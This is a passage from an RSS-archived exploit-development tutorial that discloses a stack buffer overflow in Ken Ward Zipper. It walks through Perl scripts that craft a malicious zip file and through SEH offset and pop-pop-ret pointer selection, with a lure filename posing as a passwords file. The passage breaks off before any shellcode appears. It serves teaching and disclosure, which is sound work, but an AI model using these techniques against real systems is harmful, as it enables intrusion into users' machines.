<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Abysssec Security Research &#187; egg hunter</title>
	<atom:link href="http://www.abysssec.com/blog/tag/egg-hunter/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.abysssec.com/blog</link>
	<description>Security Researches , Advisories , Coding , Projects , Reversing , Exploitation , Fuzzing</description>
	<lastBuildDate>Tue, 31 Jan 2012 15:52:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Ken Ward Zipper Stack BOF 0day &#8211; a not so typical SEH exploit</title>
		<link>http://www.abysssec.com/blog/2010/03/18/ken-ward-zipper-stack-bof-0day-a-not-so-typical-seh-exploit/</link>
		<comments>http://www.abysssec.com/blog/2010/03/18/ken-ward-zipper-stack-bof-0day-a-not-so-typical-seh-exploit/#comments</comments>
		<pubDate>Thu, 18 Mar 2010 12:31:56 +0000</pubDate>
		<dc:creator>corelanc0d3r</dc:creator>
				<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[align]]></category>
		<category><![CDATA[ascii]]></category>
		<category><![CDATA[conditional]]></category>
		<category><![CDATA[corelan]]></category>
		<category><![CDATA[corelanc0d3r]]></category>
		<category><![CDATA[custom decoder]]></category>
		<category><![CDATA[egg hunter]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[jump]]></category>
		<category><![CDATA[ken ward]]></category>
		<category><![CDATA[Peter Van Eeckhoutte]]></category>
		<category><![CDATA[pvefindaddr]]></category>
		<category><![CDATA[seh]]></category>
		<category><![CDATA[stack]]></category>
		<category><![CDATA[zip]]></category>
		<category><![CDATA[zip4.exe]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=797</guid>
		<description><![CDATA[&#160; About 2 weeks ago, I published a somewhat detailed explanation about an exploit I wrote for a &#8211; what some people would call “lame” -&#160; bug which I discovered in quickzip. In case you missed these articles, the articles were posted on the Offensive Security Blog : Part 1 and Part 2.&#160; Ok, I [...]]]></description>
			<content:encoded><![CDATA[<p>&nbsp;
<p>About 2 weeks ago, I published a <em>somewhat detailed</em> explanation about an exploit I wrote for a &#8211; what some people would call “lame” -&nbsp; bug which I discovered in quickzip. In case you missed these articles, the articles were posted on the Offensive Security Blog : <a href="http://www.offensive-security.com/blog/vulndev/quickzip-stack-bof-0day-a-box-of-chocolates/">Part 1</a> and <a href="http://www.offensive-security.com/blog/vulndev/quickzip-stack-bof-a-box-of-chocolates-part-2/">Part 2</a>.&nbsp; </p>
<p>Ok, I agree, there are a lot more impressive bugs than this one, but the process of writing a working exploit was interesting to say the least.&nbsp; I had to deal with all kinds of hurdles, but by blending a little bit of creativity and persistence, I managed to pull it off.</p>
<p>Interestingly enough, I found a similar &#8220;lame&#8221; bug in another unzipper. The author decided to ignore my emails, so today I will disclose the details and explain how to write the exploit for this vulnerability.&nbsp; </p>
<p>If you&#8217;ve read the articles I wrote on the Offensive Security Blog, then you will discover that this particular exploit is quite similar to the one for quickzip… but this time we will even have to push things a little bit further.</p>
<p>I have received quite some feedback about the writing style I applied to those 2 articles. Apparently people like the combination of a detailed explanation, with the concept of making the document look like a some kind of exercise at the same time.&nbsp;&nbsp; </p>
<p>Based on that feedback, I decided to apply the same concept on this post. This translates into the fact that I have put a marker on some &#8220;strategic&#8221; places in this article, indicating that you should stop reading and that you should think about the current issue/situation/&#8230; and try to figure out for yourself how you would approach a given problem.</p>
<p>This marker will look like this :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink42.jpg"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="stop and think" border="0" alt="stop and think" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink_thumb42.jpg" width="200" height="100"></a> </p>
<p>Fasten your seatbelts, let’s go.</p>
<p>&nbsp;</p>
<h3>Environment setup &amp; triggering the bug</h3>
<p>I used the following environment and tools to build the exploit :</p>
<ul>
<li>XP SP3 English Professional, fully patched, running inside VirtualBox
<li>The vulnerable application : <a href="http://www.trans4mind.com/personal_development/zipper/">Ken Ward Zipper</a>
<li><a href="http://www.activestate.com/activeperl/downloads/">Perl</a>&nbsp; (I used ActiveState Perl 5.8.9)
<li><a href="http://www.immunityinc.com/products-immdbg.shtml">Immunity Debugger 1.73</a>, with <a href="http://www.corelan.be:8800/index.php/security/pvefindaddr-py-immunity-debugger-pycommand/">pvefindaddr</a> plugin
<li>Metasploit 3 with custom MessageBox payload module (get a copy <a href="http://www.corelan.be:8800/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/">here</a> &#8211; almost at bottom of that post)
<li><a href="http://skypher.com/wiki/index.php?title=Www.edup.tudelft.nl/~bjwever/documentation_alpha2.html.php">alpha2 encoder</a>&nbsp; </li>
</ul>
<p>Note : In case you already have pvefindaddr installed : you can verify that you have the latest version by running</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px">!pvefindaddr update</pre>
<p>&nbsp;</p>
<p>Pretty much identicaly to the bug in quickzip, the bug in Ken Ward&#8217;s zipper gets triggered by opening a specially crafted zip file from within the unzip utility, and double-clicking on the file inside the zip (in an attempt to extract and open it).</p>
<p>To make things more attractive, I will try to craft the exploit in such a way, to make the filename inside the zip file appear as if it&#8217;s a valid and perhaps <em>interesting</em> text file.</p>
<p>The basic structure of the malicious zip file looks like this :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px"><span style="color: #008000"># Exploit script for Ken Ward's zipper</span>
<span style="color: #008000"># Written by Peter Van Eeckhoutte</span>
<span style="color: #008000"># http://www.corelan.be:8800</span>
<span style="color: #008000">#---------------------------------------------------</span>
my $sploitfile="<span style="color: #8b0000">corelan_kenward.zip</span>";
my $ldf_header = "<span style="color: #8b0000">\x50\x4B\x03\x04\x14\x00\x00</span>".
"<span style="color: #8b0000">\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span>" .
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x00\x00</span>" .
"<span style="color: #8b0000">\xe4\x0f</span>" .
"<span style="color: #8b0000">\x00\x00\x00</span>";

my $cdf_header = "<span style="color: #8b0000">\x50\x4B\x01\x02\x14\x00\x14</span>".
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span>" .
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x00\x00\x00</span>".
"<span style="color: #8b0000">\xe4\x0f</span>".
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x01\x00</span>".
"<span style="color: #8b0000">\x24\x00\x00\x00\x00\x00\x00\x00</span>";

my $eofcdf_header = "<span style="color: #8b0000">\x50\x4B\x05\x06\x00\x00\x00</span>".
"<span style="color: #8b0000">\x00\x01\x00\x01\x00</span>".
"<span style="color: #8b0000">\x12\x10\x00\x00</span>".
"<span style="color: #8b0000">\x02\x10\x00\x00</span>".
"<span style="color: #8b0000">\x00\x00</span>";

<span style="color: #00008b">print</span> "<span style="color: #8b0000">[+] Preparing payload\n</span>";

my $payload = "<span style="color: #8b0000">A</span>" x 4064;
$payload = $payload."<span style="color: #8b0000">.txt</span>";
my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

<span style="color: #00008b">print</span> "<span style="color: #8b0000">[+] Removing old zip file\n</span>";
<span style="color: #00008b">system</span>("<span style="color: #8b0000">del $sploitfile</span>");
<span style="color: #00008b">print</span> "<span style="color: #8b0000">[+] Writing payload to file\n</span>";
<span style="color: #00008b">open</span>(FILE,"<span style="color: #8b0000">&gt;$sploitfile</span>");
<span style="color: #00008b">print</span> FILE $evilzip;
close(FILE);
<span style="color: #00008b">print</span> "<span style="color: #8b0000">[+] Wrote </span>".length($evilzip)."<span style="color: #8b0000"> bytes to file $sploitfile\n</span>";
<span style="color: #00008b">print</span> "<span style="color: #8b0000">[+] Payload length : </span>" . length($payload)."<span style="color: #8b0000">\n</span>";</pre>
<p>This script will create a zip file that will crash our application. </p>
<p>Usually, when an application crashes, one of the first things any exploit developer is looking for is to find out whether registers were overwritten, if EIP or SEH records are overwritten, and at what offsets these overwrites occurred.&nbsp;&nbsp; </p>
<p>In order to make that process easier, we won&#8217;t run the script as it is, but we will create a cyclic &#8220;Metasploit&#8221; pattern first (4064 characters) and put that in $payload.&nbsp; You will understand why in just a few moments.</p>
<p>Open Immunity Debugger. In the command bar at the bottom of the debugger, type in the following command :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px">!pvefindaddr pattern_create 4064</pre>
<p>This will generate a cyclic/unique pattern, write it to the Immunity Debugger log window, and also to a file called &#8220;mspattern.txt&#8221;, which can be found in the Immunity Debugger application folder.&nbsp; Open this file, copy the pattern, and paste in into the script (effectively replacing&nbsp; (&#8220;A&#8221; x 4064) with the unique pattern).&nbsp; </p>
<p>Create the zip file :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px">C:\sploits\kenward&gt;perl boom.pl
[+] Preparing payload
[+] Removing old zip file
[+] Writing payload to file
[+] Wrote 8234 bytes to file corelan_kenward.zip
[+] Payload length : 4068

C:\sploits\kenward&gt;</pre>
<blockquote>
<p><em>Note : Ken Ward zipper will remember the last zip file that have opened.&nbsp; If this file still exists, it will open it automatically.&nbsp; So if you want to be sure to start from a clean situation, remove all zip files prior to opening zip4.exe, and then generate the zip file again.</em></p>
</blockquote>
<p>Open Ken Ward zipper.&nbsp; When you see the main application screen, open Immunity Debugger and attach it to zip4.exe</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb6_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb6_thumb[1]" border="0" alt="image_thumb6_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb6_thumb13_thumb.png" width="414" height="217"></a> </p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image1.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb1.png" width="412" height="191"></a> </p>
<p>The application will be paused at ntdll.DbgBreakPoint. Simply press F9 to continue to run the application.&nbsp; Go back to the application. Use the &#8220;Open an existing file to unzip&#8221; button and select the corelan_kenward.zip file</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image2.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb2.png" width="535" height="297"></a> </p>
<p>When the file is loaded in the application, you should see something like this :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image3.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb3.png" width="532" height="289"></a> </p>
<p>The filename column clearly points to the first characters of a cyclic pattern.</p>
<p>Trigger the bug : double-click on the Filename.&nbsp; </p>
<p>Immunity will now take focus again, because it catched an exception.</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px"> Address=00408EB1
 Message=[11:27:20] Access violation when writing to [00140000]</pre>
<p>That&#8217;s clearly a stack overflow. We attempted to write a dword ptr (at [ESI]) beyond the end of the current stack frame [EDI], which points at 0x0013FFFE before the write instruction is executed. This caused an access violation.</p>
<p>&nbsp;</p>
<h3>Evaluating the crash</h3>
<p>Making the application crash was not that difficult. </p>
<p>We decided to use a long cyclic pattern string to produce the crash, which means that we can save some time and (with Immunity still attached to the crashed application) use the pvefindaddr plugin to do some research about the crash. (This is why I asked you to use a unique pattern instead of just A&#8217;s &#8211; remember ?)</p>
<p>In Immunity, simply run the following command :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px">!pvefindaddr suggest</pre>
<p>This will evaluate registers and SEH chain, and will look for references to a cyclic pattern.&nbsp; If the plugin found references in a register, it will calculate offsets.&nbsp;&nbsp; Wait a few seconds until the output is generated and look at the Immunity Debugger Log window for the results : </p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image4.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb4.png" width="561" height="392"></a> </p>
<p>The 2 most important things we see are</p>
<ul>
<li>a SEH record is overwritten
<li>the offset to next SEH is 1022 bytes (offset might be slightly different on your machine !) </li>
</ul>
<p>That means that it should be fairly easy to get code execution, as long as we can bypass any protection mechanisms in place (safeseh, etc)</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h3>Confirm offsets</h3>
<p>Let&#8217;s change the script to confirm that the offsets are correct. At the same time, we will also change the payload a bit, making the filename look like an interesting file at the same time. After all, we control the filename inside the zip file, so perhaps we can do something with it.</p>
<p>Let&#8217;s have a look at this script :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px"># Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http:<span style="color: #008000">//www.corelan.be:8800</span>
#---------------------------------------------------
<span style="color: #0000ff">my</span> $sploitfile="<span style="color: #8b0000">corelan_kenward.zip</span>";
<span style="color: #0000ff">my</span> $ldf_header = "<span style="color: #8b0000">\x50\x4B\x03\x04\x14\x00\x00</span>".
"<span style="color: #8b0000">\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span>" .
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x00\x00</span>" .
"<span style="color: #8b0000">\xe4\x0f</span>" .
"<span style="color: #8b0000">\x00\x00\x00</span>";

<span style="color: #0000ff">my</span> $cdf_header = "<span style="color: #8b0000">\x50\x4B\x01\x02\x14\x00\x14</span>".
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span>" .
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x00\x00\x00</span>".
"<span style="color: #8b0000">\xe4\x0f</span>".
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x01\x00</span>".
"<span style="color: #8b0000">\x24\x00\x00\x00\x00\x00\x00\x00</span>";

<span style="color: #0000ff">my</span> $eofcdf_header = "<span style="color: #8b0000">\x50\x4B\x05\x06\x00\x00\x00</span>".
"<span style="color: #8b0000">\x00\x01\x00\x01\x00</span>".
"<span style="color: #8b0000">\x12\x10\x00\x00</span>".
"<span style="color: #8b0000">\x02\x10\x00\x00</span>".
"<span style="color: #8b0000">\x00\x00</span>";

<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Preparing payload\n</span>";

<strong><font color="#ff0000"><span style="color: #0000ff">my</span> $size=4064;
<span style="color: #0000ff">my</span> $<span style="color: #0000ff">offset</span>=1022;
<span style="color: #0000ff">my</span> $filename=  "<span style="color: #8b0000">Admin accounts and passwords.txt</span>".("<span style="color: #8b0000"> </span>" x 100);
<span style="color: #0000ff">my</span> $junk = "<span style="color: #8b0000">A</span>" x ($<span style="color: #0000ff">offset</span> - <span style="color: #0000ff">length</span>($filename));
<span style="color: #0000ff">my</span> $nseh="<span style="color: #8b0000">BBBB</span>";
<span style="color: #0000ff">my</span> $seh="<span style="color: #8b0000">CCCC</span>";
<span style="color: #0000ff">my</span> $payload = $filename.$junk.$nseh.$seh;
<span style="color: #0000ff">my</span> $rest = "<span style="color: #8b0000">D</span>" x ($size-<span style="color: #0000ff">length</span>($payload));

$payload=$payload.$rest."<span style="color: #8b0000">.txt</span>";</font></strong>

<span style="color: #0000ff">my</span> $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Removing old zip file\n</span>";
<span style="color: #0000ff">system</span>("<span style="color: #8b0000">del $sploitfile</span>");
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Writing payload to file\n</span>";
<span style="color: #0000ff">open</span>(FILE,"<span style="color: #8b0000">&gt;$sploitfile</span>");
<span style="color: #0000ff">print</span> FILE $evilzip;
<span style="color: #0000ff">close</span>(FILE);
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Wrote </span>".<span style="color: #0000ff">length</span>($evilzip)."<span style="color: #8b0000"> bytes to file $sploitfile\n</span>";
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Payload length : </span>" . <span style="color: #0000ff">length</span>($payload)."<span style="color: #8b0000">\n</span>";</pre>
<p>As said before, I will try to make the filename inside the zip file look like something attractive (hence &#8220;Admin accounts and passwords.txt&#8221;) , and I will some spaces after this filename (to make it look more genuine).&nbsp; I will fill up the rest of the buffer before nSEH (up to 1022 bytes) with A&#8217;s.&nbsp; </p>
<p>At nseh we will put 42424242 and at SEH we will write 43434343.&nbsp; The remaining space of the 4064 bytes will be filled with D&#8217;s. (44444444).</p>
<p>Create the zip file. Open zip4.exe, and attach Immunity to the application.&nbsp; Then open the zip file :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb121_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb12[1]_thumb[1]" border="0" alt="image_thumb12[1]_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb121_thumb13_thumb.png" width="460" height="207"></a> </p>
<p>We clearly see our fake filename.&nbsp; Double click the &#8220;Admin accounts and passwords.txt&#8221; filename. Immunity should catch the exception and the SEH chain should look like this :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb15_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb15_thumb[1]" border="0" alt="image_thumb15_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb15_thumb13_thumb.png" width="463" height="102"></a> </p>
<p>On the stack, we can see our payload, we can see that it has overwritten a SE record, and we also see that the D&#8217;s are available on the stack after the SE record.&nbsp; </p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb16_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb16_thumb[1]" border="0" alt="image_thumb16_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb16_thumb13_thumb.png" width="466" height="315"></a> </p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h3>SEH : pop pop ret, jump, exec =&gt; owned ?</h3>
<p>In normal SEH based exploits, the goal is to find a pointer to an address that would allow us to jump to the 4 bytes at next SEH and execute those bytes.&nbsp; The most common technique to do this, is using a pointer to pop pop ret.</p>
<p>When pop pop ret returns, in most cases the 4 bytes at nseh are used to jump to payload (either before or after the SEH record) in order to get code execution at that location.&nbsp;&nbsp;&nbsp; So in normal cases, it takes only a few minutes to pull this together and build a working exploit.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink42.jpg"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="stop and think" border="0" alt="stop and think" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink_thumb42.jpg" width="200" height="100"></a> </p>
<p><em>Is this logic correct ? Will that lead to code execution ?&nbsp; And where will you get the pointer to p/p/r from ?</em></p>
<p>&nbsp;</p>
<h4>The p/p/r pointer</h4>
<p>Because of exception handling abuse protection mechanisms (Software DEP/Safeseh etc), we have to find an address that will allow us to execute a pop pop ret, effectively bypassing thesese protection mechanisms.&nbsp;&nbsp; The most common way to bypass safeseh, is by using a pointer to p/p/r from a non-safeseh compiled module (or the executable itself, if it&#8217;s not safeseh protected either).&nbsp;&nbsp; </p>
<p>If no usable address can be found, you can also try to use a p/p/r from one of the OS modules that are loaded together with the application.&nbsp; The disadvantage of this approach is that the exploit would probably only work the operating system/service pack that was used to build the code on.</p>
<p>Anyways, let&#8217;s try to make it universal/generic.</p>
<p>The pvefindaddr plugin provides for an easy way to list all p/p/r pointers, by querying all modules that are loaded when the application crashed, and that are not safeseh protected.</p>
<p>Simply run this command, with Immunity attached to the application, at crash time :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px">!pvefindaddr p</pre>
<p>Now leave the debugger alone and let it do the search. This can take up to a few minutes (after all, it will search for all possible pop pop ret combinations, in all loaded modules !), and it might take all CPU&#8230; so just leave it alone for a while.&nbsp;&nbsp; All output will be written to the Immunity Log window, and to a file called ppr.txt (generated inside the Immunity Debugger application folder)</p>
<p>When the search process has finished, Immunity Debugger will become responsive again and display the number of found addresses at the end of the Log (and in the status bar)</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb181_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb181_thumb[1]" border="0" alt="image_thumb181_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb181_thumb13_thumb.png" width="594" height="171"></a></p>
<p>2397 addresses, plenty of choice.</p>
<p>The non-OS, non-safeseh protected modules are :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb20_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb20_thumb[1]" border="0" alt="image_thumb20_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb20_thumb13_thumb.png" width="595" height="151"></a> </p>
<p>=&gt; only zip4.exe&nbsp; (the other ones are from the Windows OS, and those may be different across other versions of the Windows OS/Service Pack). So let&#8217;s focus on the executable itself.&nbsp; As you can see in the output above, the executable is loaded into memory at base address 0&#215;00400000. This address starts with a null byte, so we have to take that into consideration.</p>
<p>Open the ppr.txt file, take the first available pointer from zip4.exe, and replace the 4 C&#8217;s at SE Handler with this address.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image5.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb5.png" width="598" height="148"></a> </p>
<p>(so basically, replace&nbsp; <em>my $seh=&#8221;CCCC&#8221;;</em>&nbsp; with <em>my $seh = pack(&#8216;V&#8217;,0x00402AFB);</em>&nbsp;&nbsp; create a new zip file and trigger the crash again)</p>
<p>When Immunity catches the exception, the SEH chain looks like this :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb241_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb241_thumb[1]" border="0" alt="image_thumb241_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb241_thumb13_thumb.png" width="606" height="177"></a> </p>
<p>We see 2 things :</p>
<ul>
<li>The address 0x00402AFB got replaced with 0x00402A76
<li>The access violation occurs in a different instruction. This is caused because of the null byte in the p/p/r address (which acts as a string terminator). This is fine, but the fact that the address changed means that we have to deal with a character set limitation.&nbsp; </li>
</ul>
<p>So this one will take a little bit longer than just a few minutes.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink42.jpg"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="stop and think" border="0" alt="stop and think" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink_thumb42.jpg" width="200" height="100"></a> </p>
<p><em>How would you approach this character set limitation ?&nbsp;&nbsp; What are the consequences of this limitation ?&nbsp; Is there only an impact on the p/p/r pointer ?&nbsp; Or also on other parts of the payload ?</em></p>
<p>&nbsp;</p>
<h3>Character set limitation</h3>
<p>This is not new.&nbsp; When I discussed the exploit building process for the quickzip vulnerability (on the Offensive Security Blog), I noticed the same thing&#8230;&nbsp; </p>
<p>The result of that is that we can only use payload/addresses consisting of bytes that would be valid characters in a filename.&nbsp; (So if we limit our search to bytes that are either numbers or characters (lowercase/uppercase) from the alphabet, we should be fine.&nbsp; Further more, we&#8217;ll probably need to deal with this limitation for the entire payload, so we&#8217;ll have to keep this in mind.</p>
<p>Open ppr.txt again.&nbsp; In the output, you can see if an address would be compatible with this kind of limitation&#8230; The pvefindaddr plugin puts a marker next to addresses, indicating if the address is ascii printable and optionally if it only contains numbers/alphabet characters).</p>
<p>Addresses that contain ascii printable bytes only, will have a marker &#8220;[ Ascii printable ]&#8220;.&nbsp; If the address only contains nums&amp;alphabet, it will also state &#8220;[Num&amp;Alphabet Chars only !]&#8220;.&nbsp;&nbsp; That means that we can easily search for matching addresses using the following DOS command :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px">C:\Program Files\Immunity Inc\Immunity Debugger&gt;type ppr.txt | findstr "<span style="color: #8b0000">Ascii</span>" | findstr "<span style="color: #8b0000">Num</span>"

C:\Program Files\Immunity Inc\Immunity Debugger&gt;</pre>
<p>0 results.&nbsp;&nbsp; But we are being too strict really.&nbsp; The [ Ascii printable ] marker will not show any addresses that start with a null byte.&nbsp; (You can, of course, change the pvefindaddr plugin).&nbsp; On top of that, some non-alphabet characters will also work fine (spaces, etc).&nbsp; </p>
<p>So perhaps we should just manually look at the ascii-printable addresses in the text file, and then locate one that will do the job.&nbsp; (<a href="http://www.asciitable.com">www.asciitable.com</a>)</p>
<p>Let&#8217;s try 0x00415A68</p>
<ul>
<li>0&#215;41 = &#8220;A&#8221;
<li>0x5A = &#8220;Z&#8221;
<li>0&#215;68 = &#8220;h&#8221; </li>
</ul>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb26_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb26_thumb[1]" border="0" alt="image_thumb26_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb26_thumb13_thumb.png" width="615" height="74"></a> </p>
<p>Put this address at $seh and try again</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb28_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb28_thumb[1]" border="0" alt="image_thumb28_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb28_thumb13_thumb.png" width="620" height="168"></a> </p>
<p>That looks a lot better.&nbsp; Set a breakpoint on this address (bp 00415A68) and press Shift F9 to pass the exception to the application.&nbsp; The event handler should kick in and jump to 0x00415A68</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb31_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb31_thumb[1]" border="0" alt="image_thumb31_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb31_thumb13_thumb.png" width="518" height="367"></a> </p>
<p>Use F7 to step through the instructions (basically execute one instruction at a time), until after the RETN instruction is executed. The RET should make you land back at the 4 bytes at nseh (BBBB) :</p>
